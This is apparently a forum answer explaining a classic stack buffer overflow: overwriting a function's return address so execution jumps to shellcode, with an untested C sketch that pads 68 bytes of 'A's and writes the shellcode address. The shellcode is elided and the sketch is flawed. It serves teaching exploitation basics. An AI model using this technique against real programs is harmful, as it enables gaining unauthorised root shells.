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    <blockquote> <p>My initial guess was to modify the return address, the eip, of the function in order to locate and execute what is in the shellcode file, but i realized I have no address to the file I can represent in a hexadecimal value.</p> </blockquote> <p>You want to modify the RET address so that when the function ends it doesn't return to its caller but to the beginning of your shellcode.</p> <p>((As a brief overview of what a shellcode is, it's a set of assembly instructions (so heavily dependent on the platform you execute the vulnerable process) that execute a shell (usually a root shell) thus dropping you off in a nice environment that you can exploit.))</p> <p>Now back, what you want is to point the RET at the first assembly instruction in your shellcode. The weird bit is that you have it in a separate file. Is that required?</p> <p>How it's usually done is that you have something like this:</p> <pre><code>char shellcode[] = "\x90\x90\x90..."; int main() { /* * huge string (like your 72 A's) that appends the address of the * shellcode at the right address (in your case I think it's 64 + 4) */ char evilstring[100]; /* Fill the buf and the EBP with A's */ for (int i = 0; i &lt; 64 + 4; i++) { evilstring[i] = 'A'; } /* And the RET with the address of your shellcode */ sprintf(&amp;evilstring[68], "%p", &amp;shellcode[0]); vuln(evilstring); /* you should have a shell now */ /* NOTREACHED */ return 0; } </code></pre> <p>So now, when your function returns, it returns at the address of the shellcode[] string and it continues executing instructions from there. Which is what you want. Because those instructions give you the root shell (or whatever it is that your shellcode does).</p> <p>Please note that the above is just example code, it's not even compile tested.</p> <p>If I didn't understand your problem or if I didn't explain well enough, please feel free to ask.</p>
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    1. POUsing buffer overflow to execute shell code
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    1. USPaul Irofti
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